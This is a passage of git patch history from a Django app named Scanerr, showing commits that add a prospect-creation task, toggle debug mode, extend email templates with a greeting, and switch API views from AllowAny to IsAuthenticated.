+        if Site.objects.filter(account=account).count() == 1:
+            # send POST to landing/v1/ops/prospect
+            create_prospect.delay(user=user)
+
         if not configs:
             configs = {
                 'window_size': '1920,1080',
diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index 557b8790..bac95705 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -25,7 +25,8 @@
 
 ALLOWED_HOSTS = ['*']
 CLIENT_URL_ROOT = os.environ.get('CLIENT_URL_ROOT')
-LANDING_URL_ROOT = os.environ.get('LANDING_URL_ROOT')
+LANDING_API_ROOT = os.environ.get('LANDING_API_ROOT')
+LANDING_API_KEY = os.environ.get('LANDING_API_KEY')
 API_URL_ROOT = os.environ.get('API_URL_ROOT')
 YELLOWLAB_ROOT = os.environ.get('YELLOWLAB_ROOT')
 CORS_ORIGIN_ALLOW_ALL = True

From dae81b2ee0b2bea15a051242c3b3416464caa870 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 2 Feb 2024 08:54:35 -0700
Subject: [PATCH 0227/1099] prod mode

---
 app/scanerr/settings.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index bac95705..82789eb0 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -21,7 +21,7 @@
 SECRET_KEY = os.environ.get('SECRET_KEY')
 
 # SECURITY WARNING: don't run with debug turned on in production!
-DEBUG = True
+DEBUG = False
 
 ALLOWED_HOSTS = ['*']
 CLIENT_URL_ROOT = os.environ.get('CLIENT_URL_ROOT')

From 42247b4f6e354958fa338938d92c6694b0f21648 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 2 Feb 2024 09:02:55 -0700
Subject: [PATCH 0228/1099] debug

---
 app/scanerr/settings.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index 82789eb0..bac95705 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -21,7 +21,7 @@
 SECRET_KEY = os.environ.get('SECRET_KEY')
 
 # SECURITY WARNING: don't run with debug turned on in production!
-DEBUG = False
+DEBUG = True
 
 ALLOWED_HOSTS = ['*']
 CLIENT_URL_ROOT = os.environ.get('CLIENT_URL_ROOT')

From e3ad9daa965a8431ff983368fec03cbd8cb2f3f8 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 2 Feb 2024 09:08:21 -0700
Subject: [PATCH 0229/1099] fixing serializing issue

---
 app/api/tasks.py           | 11 +++++++----
 app/api/v1/ops/services.py |  2 +-
 2 files changed, 8 insertions(+), 5 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index f2759289..bb383636 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -567,7 +567,10 @@ def delete_admin_sites(days_to_live=1):
 
 
 @shared_task
-def create_prospect(user):
+def create_prospect(user_id=None):
+
+    # get user by id
+    user = User.objects.get(id=id)
     
     # setup configs
     url = f'{settings.LANDING_API_ROOT}/v1/ops/prospect'
@@ -576,9 +579,9 @@ def create_prospect(user):
         "Authorization" : f'Token {settings.LANDING_API_KEY}'
     }
     data = {
-        'first_name': user.first_name,
-        'last_name': user.last_name,
-        'email': user.email,
+        'first_name': str(user.first_name),
+        'last_name': str(user.last_name),
+        'email': str(user.email),
         'status': 'warm',
         'source': 'app',
     }
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 874d7fc0..a04d7f5b 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -167,7 +167,7 @@ def create_site(request, delay=False):
         # check if this is account's first site
         if Site.objects.filter(account=account).count() == 1:
             # send POST to landing/v1/ops/prospect
-            create_prospect.delay(user=user)
+            create_prospect.delay(user_id=user.id)
 
         if not configs:
             configs = {

From c553abaa1be95ec36a7bb326a2853a4a976e7521 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 2 Feb 2024 10:49:03 -0700
Subject: [PATCH 0230/1099] expanding email templates

---
 app/api/utils/alerts.py   | 28 +++++++++++-----------------
 app/api/v1/auth/alerts.py | 39 ++++++---------------------------------
 2 files changed, 17 insertions(+), 50 deletions(-)

diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py
index 7cf2fc63..093206e6 100644
--- a/app/api/utils/alerts.py
+++ b/app/api/utils/alerts.py
@@ -268,6 +268,7 @@ def get_item(object_id):
 
 def automation_email(email=None, automation_id=None, object_id=None):
     if email and automation_id:
+        user = User.objects.get(email=email)
         automation = Automation.objects.get(id=automation_id)
         schedule = automation.schedule
         if schedule.site is not None:
@@ -300,6 +301,7 @@ def automation_email(email=None, automation_id=None, object_id=None):
             f'You can change the automation and schedule in your site\'s dashboard. '
         )
         subject = subject
+
         context = {
             'title' : title,
             'subject': subject,
@@ -316,17 +318,6 @@ def automation_email(email=None, automation_id=None, object_id=None):
 
         sendgrid_email(message_obj=context)
 
-        # html_message = render_to_string('api/automation_email.html', context)
-        # plain_message = strip_tags(html_message)
-        # send_mail(
-        #     from_email = os.getenv('EMAIL_HOST_USER'),
-        #     subject = subject,
-        #     message = plain_message,
-        #     recipient_list = [email],
-        #     html_message = html_message,
-        #     fail_silently = True,
-        # )
-
         data = {
             'success': True
         }
@@ -410,11 +401,11 @@ def automation_report_email(email=None, automation_id=None, object_id=None):
 
 
 def automation_webhook(
-    request_type=None, 
-    request_url=None, 
-    request_data=None,
-    automation_id=None, 
-    object_id=None,
+        request_type=None, 
+        request_url=None, 
+        request_data=None,
+        automation_id=None, 
+        object_id=None,
     ):
     if request_type and automation_id and request_url and request_data and object_id:
         automation = Automation.objects.get(id=automation_id)
@@ -610,7 +601,8 @@ def sendgrid_email(message_obj):
             'email':        <str>,
             'template':     <str>,
             'object_url':   <str>,
-            'signature':    <str>
+            'signature':    <str>,
+            'greeting':     <str>,
         }
 
     Returns --> data: {
@@ -630,10 +622,12 @@ def sendgrid_email(message_obj):
     exp_list = message_obj.get('exp_list')
     object_url = message_obj.get('object_url')
     signature = message_obj.get('signature', '- Cheers!')
+    greeting = message_obj.get('greeting', 'Hi there,')
 
 
     # build template data
     template_data = {
+        'greeting': greeting,
         'title' : title,
         'pre_header' : pre_header,
         'pre_content' : pre_content,
diff --git a/app/api/v1/auth/alerts.py b/app/api/v1/auth/alerts.py
index 002f446c..5acaef68 100644
--- a/app/api/v1/auth/alerts.py
+++ b/app/api/v1/auth/alerts.py
@@ -24,9 +24,11 @@ def send_reset_link(email):
         title = 'Reset Password'
         pre_header = 'Reset Password'
         pre_content = 'Click the link below to reset your password.'
+        greeting = f'Hi there,'
 
         subject = subject
         context = {
+            'greeting': greeting,
             'title' : title,
             'subject' : subject,
             'email': email,
@@ -41,17 +43,6 @@ def send_reset_link(email):
 
         sendgrid_email(message_obj=context)
 
-        # html_message = render_to_string('api/alert_with_button.html', context)
-        # plain_message = strip_tags(html_message)
-        # send_mail(
-        #     from_email = os.getenv('EMAIL_HOST_USER'),
-        #     subject = subject,
-        #     message = plain_message,
-        #     recipient_list = [email],
-        #     html_message = html_message,
-        #     fail_silently = True,
-        # )
-
         data = {
             'success': True
         }
@@ -77,9 +68,11 @@ def send_invite_link(member):
         title = 'Scanerr Invite'
         pre_header = 'Scanerr Invite'
         pre_content = f'A user with the email "{member.account.user.username}" invited you to join their Team on Scanerr. Now just click the link below to accept the invite!'
+        greeting = 'Hi there,'
 
         subject = subject
         context = {
+            'greeting': greeting,
             'title' : title,
             'subject' : subject,
             'email': member.email,
@@ -94,17 +87,6 @@ def send_invite_link(member):
         
         sendgrid_email(message_obj=context)
 
-        # html_message = render_to_string('api/alert_with_button.html', context)
-        # plain_message = strip_tags(html_message)
-        # send_mail(
-        #     from_email = os.getenv('EMAIL_HOST_USER'),
-        #     subject = subject,
-        #     message = plain_message,
-        #     recipient_list = [member.email],
-        #     html_message = html_message,
-        #     fail_silently = True,
-        # )
-
         data = {
             'success': True
         }
@@ -127,9 +109,11 @@ def send_remove_alert(member):
         title = 'Removed From Account'
         pre_header = 'Removed From Account'
         pre_content = f'A user with the email "{member.account.user.username}" removed you from their Team on Scanerr. Please let us know if there\'s been a mistake.'
+        greeting = 'Hi there,'
 
         subject = subject
         context = {
+            'greeting' : greeting,
             'title' : title,
             'subject' : subject,
             'email': member.email,
@@ -146,17 +130,6 @@ def send_remove_alert(member):
         # delete member obj
         member.delete()
 
-        # html_message = render_to_string('api/alert_no_button.html', context)
-        # plain_message = strip_tags(html_message)
-        # send_mail(
-        #     from_email = os.getenv('EMAIL_HOST_USER'),
-        #     subject = subject,
-        #     message = plain_message,
-        #     recipient_list = [member.email],
-        #     html_message = html_message,
-        #     fail_silently = True,
-        # )
-
         data = {
             'success': True
         }

From 32af1795d08c872c24b1ecd610f88db5ea7ee1d3 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 2 Feb 2024 10:49:51 -0700
Subject: [PATCH 0231/1099] prod mode

---
 app/scanerr/settings.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index bac95705..82789eb0 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -21,7 +21,7 @@
 SECRET_KEY = os.environ.get('SECRET_KEY')
 
 # SECURITY WARNING: don't run with debug turned on in production!
-DEBUG = True
+DEBUG = False
 
 ALLOWED_HOSTS = ['*']
 CLIENT_URL_ROOT = os.environ.get('CLIENT_URL_ROOT')

From 91e99eb349fc143f7e4a70e16664096456a6bdd2 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 2 Feb 2024 11:41:00 -0700
Subject: [PATCH 0232/1099] fixing create_proepect() method

---
 app/api/tasks.py           | 4 ++--
 app/api/v1/ops/services.py | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index bb383636..4aca91f6 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -567,10 +567,10 @@ def delete_admin_sites(days_to_live=1):
 
 
 @shared_task
-def create_prospect(user_id=None):
+def create_prospect(user_email=None):
 
     # get user by id
-    user = User.objects.get(id=id)
+    user = User.objects.get(email=user_email)
     
     # setup configs
     url = f'{settings.LANDING_API_ROOT}/v1/ops/prospect'
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index a04d7f5b..09ed7353 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -167,7 +167,7 @@ def create_site(request, delay=False):
         # check if this is account's first site
         if Site.objects.filter(account=account).count() == 1:
             # send POST to landing/v1/ops/prospect
-            create_prospect.delay(user_id=user.id)
+            create_prospect.delay(user_email=str(user.email))
 
         if not configs:
             configs = {

From c3da6db1a247d1e865e7bba3f1ad1a4ddbae3ffb Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 2 Feb 2024 11:44:33 -0700
Subject: [PATCH 0233/1099] fixing typo

---
 app/api/tasks.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 4aca91f6..18e11b7e 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -599,7 +599,7 @@ def create_prospect(user_email=None):
 
     except Exception as e:
         success = False
-        message = res
+        message = e
 
     data = {
         'success': success,

From 7eeabee5aeb416bbc4f9d8c614b869082a2a5290 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 2 Feb 2024 12:05:11 -0700
Subject: [PATCH 0234/1099] fixed create_prospects

---
 app/api/tasks.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 18e11b7e..ab5f9f3d 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -573,7 +573,7 @@ def create_prospect(user_email=None):
     user = User.objects.get(email=user_email)
     
     # setup configs
-    url = f'{settings.LANDING_API_ROOT}/v1/ops/prospect'
+    url = f'{settings.LANDING_API_ROOT}/ops/prospect'
     headers = {
         "content-type": "application/json",
         "Authorization" : f'Token {settings.LANDING_API_KEY}'

From 43b52d244fd43258b9d81bf9811a0c1dda41b4e2 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 2 Feb 2024 12:05:21 -0700
Subject: [PATCH 0235/1099] locked down api views

---
 app/api/v1/auth/views.py    | 10 ++---
 app/api/v1/billing/views.py | 22 +++++-----
 app/api/v1/ops/views.py     | 84 ++++++++++++++++++-------------------
 3 files changed, 58 insertions(+), 58 deletions(-)

diff --git a/app/api/v1/auth/views.py b/app/api/v1/auth/views.py
index 6176c6cd..a86ce1e2 100644
--- a/app/api/v1/auth/views.py
+++ b/app/api/v1/auth/views.py
@@ -138,7 +138,7 @@ def post(self, request):
 
 
 class UpdateUser(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
     def post(self, request): 
@@ -221,7 +221,7 @@ def get(self, request, *args, **kwargs):
 
 
 class Account(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'post']
 
     def post(self, request, *args, **kwargs ):
@@ -235,7 +235,7 @@ def get(self, request, id=None, *args, **kwargs):
 
 
 class AccountMembers(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['get',]
 
     def get(self, request, id=None, *args, **kwargs):
@@ -244,7 +244,7 @@ def get(self, request, id=None, *args, **kwargs):
 
 
 class Member(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'post']
 
     def post(self, request, *args, **kwargs ):
@@ -258,7 +258,7 @@ def get(self, request, id=None, *args, **kwargs):
         
 
 class Prospect(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['get',]
 
     def get(self, request):
diff --git a/app/api/v1/billing/views.py b/app/api/v1/billing/views.py
index 2e93b0ff..e6fea61b 100644
--- a/app/api/v1/billing/views.py
+++ b/app/api/v1/billing/views.py
@@ -1,5 +1,5 @@
 from rest_framework.response import Response
-from rest_framework.permissions import AllowAny
+from rest_framework.permissions import IsAuthenticated, IsAuthenticated
 from rest_framework.views import APIView
 from rest_framework import status
 from django.contrib.auth.models import User
@@ -15,7 +15,7 @@
 
 
 class StripeKey(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
     def post(self, request):  
@@ -27,7 +27,7 @@ def post(self, request):
 
 
 class CreateCustomer(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
     def post(self, request):  
@@ -46,7 +46,7 @@ def post(self, request):
 
 
 class CreateProduct(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
     def post(self, request):  
@@ -65,7 +65,7 @@ def post(self, request):
 
 
 class CreatePrice(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
     def post(self, request):  
@@ -92,7 +92,7 @@ def post(self, request):
 
 
 class CreateSubscription(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
     def post(self, request):  
@@ -119,7 +119,7 @@ def post(self, request):
 
 
 class CompleteSubscription(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
     def post(self, request):  
@@ -213,7 +213,7 @@ def post(self, request):
 
 
 class SetupSubscription(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
     def post(self, request):  
@@ -316,7 +316,7 @@ def post(self, request):
 
 
 class GetBillingInfo(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
     def post(self, request):  
@@ -365,7 +365,7 @@ def post(self, request):
 
 
 class AccountActivation(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     https_method_names = ['post',]
 
     def post(self, request):
@@ -426,7 +426,7 @@ def post(self, request):
 
 
 class StripeInvoice(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     https_method_names = ['get',]
 
     def get(self, request):
diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index fff28efd..dfdac0bd 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -19,7 +19,7 @@
 
 
 class Sites(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post', 'get']
     pagination_class = LimitOffsetPagination
 
@@ -34,7 +34,7 @@ def get(self, request):
 
 
 class SiteDetail(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'delete']
 
     def get(self, request, id):
@@ -58,7 +58,7 @@ def delete(self, request, id):
 
 
 class SiteDelay(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
     def post(self, request):
@@ -68,7 +68,7 @@ def post(self, request):
 
 
 class SiteCrawl(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
     def post(self, request, id):
@@ -77,7 +77,7 @@ def post(self, request, id):
 
 
 class SitesDelete(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
     def post(self, request):
@@ -88,7 +88,7 @@ def post(self, request):
 
 
 class Pages(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post', 'get']
     pagination_class = LimitOffsetPagination
 
@@ -103,7 +103,7 @@ def get(self, request):
 
 
 class PageDetail(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'delete']
 
     def get(self, request, id):
@@ -127,7 +127,7 @@ def delete(self, request, id):
 
 
 class PageDelay(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
     def post(self, request):
@@ -137,7 +137,7 @@ def post(self, request):
 
 
 class PagesDelete(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
     def post(self, request):
@@ -148,7 +148,7 @@ def post(self, request):
 
 
 class Scans(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post', 'get',]
     pagination_class = LimitOffsetPagination
 
@@ -162,7 +162,7 @@ def get(self, request):
 
 
 class ScanDetail(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'delete',]
 
     def get(self, request, id):
@@ -188,7 +188,7 @@ def delete(self, request, id):
 
 
 class ScanLean(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['get', ]
 
     def get(self, request, id):
@@ -197,7 +197,7 @@ def get(self, request, id):
 
 
 class ScanDelay(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
     def post(self, request):
@@ -207,7 +207,7 @@ def post(self, request):
 
 
 class ScansCreate(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
     def post(self, request):
@@ -217,7 +217,7 @@ def post(self, request):
 
 
 class ScansDelete(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
     def post(self, request):
@@ -229,7 +229,7 @@ def post(self, request):
 
 
 class Tests(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post', 'get',]
     pagination_class = LimitOffsetPagination
 
@@ -243,7 +243,7 @@ def get(self, request):
 
 
 class TestDetail(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'delete',]
 
     def get(self, request, id):
@@ -268,7 +268,7 @@ def delete(self, request, id):
 
 
 class TestLean(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['get',]
 
     def get(self, request, id):
@@ -277,7 +277,7 @@ def get(self, request, id):
 
 
 class TestDelay(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
     def post(self, request):
@@ -286,7 +286,7 @@ def post(self, request):
 
 
 class TestsCreate(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
     def post(self, request):
@@ -295,7 +295,7 @@ def post(self, request):
 
 
 class TestsDelete(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
     def post(self, request):
@@ -308,7 +308,7 @@ def post(self, request):
 
 
 class Schedules(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post', 'get']
 
     def post(self, request):
@@ -321,7 +321,7 @@ def get(self, request):
 
 
 class ScheduleDetail(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'delete']
 
     def get(self, request, id):
@@ -349,7 +349,7 @@ def delete(self, request, id):
 
 
 class Automations(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'post']
     pagination_class = LimitOffsetPagination
 
@@ -363,7 +363,7 @@ def get(self, request):
 
 
 class AutomationDetail(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'delete']
 
     def get(self, request, id):
@@ -391,7 +391,7 @@ def delete(self, request, id):
 
 
 class Reports(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post', 'get']
 
     def post(self, request):
@@ -405,7 +405,7 @@ def get(self, request):
 
 
 class ReportDetail(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'delete']
 
     def get(self, request, id):
@@ -436,7 +436,7 @@ def delete(self, request, id):
 
 
 class Cases(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post', 'get']
 
     def post(self, request):
@@ -450,7 +450,7 @@ def get(self, request):
 
 
 class CasesSearch(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['get']
 
     def get(self, request):
@@ -460,7 +460,7 @@ def get(self, request):
 
 
 class CaseDetail(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'delete']
 
     def get(self, request, id):
@@ -486,7 +486,7 @@ def delete(self, request, id):
 
 
 class Testcases(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post', 'get']
 
     def post(self, request):
@@ -500,7 +500,7 @@ def get(self, request):
 
 
 class TestcaseDelay(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
 
     def post(self, request):
@@ -510,7 +510,7 @@ def post(self, request):
 
 
 class TestcaseDetail(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'delete']
 
     def get(self, request, id):
@@ -538,7 +538,7 @@ def delete(self, request, id):
 
 
 class Logs(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['get',]
     pagination_class = LimitOffsetPagination
     
@@ -548,7 +548,7 @@ def get(self, request):
 
 
 class LogDetail(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['get',]
 
     def get(self, request, id):
@@ -566,7 +566,7 @@ def get(self, request, id):
 
 
 class HomeStats(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['get',]
 
     def get(self, request):
@@ -576,7 +576,7 @@ def get(self, request):
 
 
 class SiteStats(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['get',]
 
     def get(self, request):
@@ -586,7 +586,7 @@ def get(self, request):
 
 
 class Processes(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['get']
     
     def get(self, request):
@@ -595,7 +595,7 @@ def get(self, request):
 
 
 class ProcessDetail(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['get',]
 
     def get(self, request, id):
@@ -614,7 +614,7 @@ def get(self, request, id):
 
 
 class WordPressMigrateSite(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
     
     def post(self, request):
@@ -623,7 +623,7 @@ def post(self, request):
 
 
 class WordPressMigrateSiteDelay(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
     
     def post(self, request):
@@ -632,7 +632,7 @@ def post(self, request):
 
 
 class SiteScreenshot(APIView):
-    permission_classes = (AllowAny,)
+    permission_classes = (IsAuthenticated,)
     http_method_names = ['post',]
     
     def post(self, request):

From 58627b80dd3e73592cf40f014ccbd5167d5238d5 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 2 Feb 2024 12:10:17 -0700
Subject: [PATCH 0236/1099] fixed import issue

---
 app/api/v1/auth/views.py | 2 +-
 app/api/v1/ops/views.py  | 3 +--
 2 files changed, 2 insertions(+), 3 deletions(-)

diff --git a/app/api/v1/auth/views.py b/app/api/v1/auth/views.py
index a86ce1e2..c082fe8d 100644
--- a/app/api/v1/auth/views.py
+++ b/app/api/v1/auth/views.py
@@ -3,7 +3,7 @@
 from rest_framework_simplejwt.views import TokenObtainPairView
 from rest_framework_simplejwt.views import TokenRefreshView
 from rest_framework.viewsets import ModelViewSet, ViewSet
-from rest_framework.permissions import AllowAny
+from rest_framework.permissions import AllowAny, IsAuthenticated
 from rest_framework.views import APIView
 from rest_framework import status, serializers
 from rest_framework_simplejwt.tokens import RefreshToken, AccessToken
diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index dfdac0bd..573ada7f 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -7,9 +7,8 @@
 from django.urls import path, include
 from rest_framework import routers, serializers, viewsets
 from rest_framework.viewsets import ViewSet
-from rest_framework.permissions import AllowAny
+from rest_framework.permissions import AllowAny, IsAuthenticated
 from rest_framework.views import APIView
-from rest_framework.permissions import IsAuthenticated
 from django.views.decorators.csrf import ensure_csrf_cookie
 from rest_framework.pagination import LimitOffsetPagination
 from django.urls import resolve

From 728d809fc23ba43bc4c761e3b07bb883ec9167b4 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Sun, 4 Feb 2024 09:00:48 -0700
Subject: [PATCH 0237/1099] updated notes

---
 notes/Kubernetes.md | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index 565446d1..d34df275 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -136,6 +136,8 @@ kubectl port-forward service/app-service 8000:8000
  - When reprovisioning to new domains and SSL certs ensure all `certificates` & `secrets` are deleted
    - `kubectl delete certificate <cert-name>`
    - `kubectl delete secret <sec-name>` ... may have to do this in the k8s dashboard
+ - Restart both celery & app deployments for a config-map change:
+   - `kubectl rollout restart deployment app-deployment celery-deployment`
 
 
 

From 5526eacdfe996ed2554d9177da3c98ae5086e476 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Sun, 4 Feb 2024 12:59:40 -0700
Subject: [PATCH 0238/1099] added new 'onboarding' param for create_prospect()
 trigger

---
 app/api/v1/ops/services.py | 11 +++++++++--
 1 file changed, 9 insertions(+), 2 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 09ed7353..ef6e6a6a 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -125,10 +125,16 @@ def check_account(request=None, user=None, resource=None, site_id=None):
 def create_site(request, delay=False):
     site_url = request.data.get('site_url')
     page_urls = request.data.get('page_urls')
+    onboarding = request.data.get('onboarding', None)
     user = request.user
     account = Member.objects.get(user=user).account
     sites = Site.objects.filter(account=account)
 
+    if onboarding is not None:
+        if str(onboarding).lower() == 'true':
+            onboarding = True
+        if str(onboarding).lower() == 'false':
+            onboarding = False
 
     if site_url.endswith('/'):
         site_url = site_url.rstrip('/')
@@ -164,8 +170,9 @@ def create_site(request, delay=False):
             account=account
         )
 
-        # check if this is account's first site
-        if Site.objects.filter(account=account).count() == 1:
+        # check if this is account's first site and onboarding = True
+        if Site.objects.filter(account=account).count() == 1 \
+            and onboarding == True:
             # send POST to landing/v1/ops/prospect
             create_prospect.delay(user_email=str(user.email))
 

From ceb646892593aa85d800fdc8e3564c13b097fb40 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 13 Feb 2024 19:24:11 -0700
Subject: [PATCH 0239/1099] adding phone to account

---
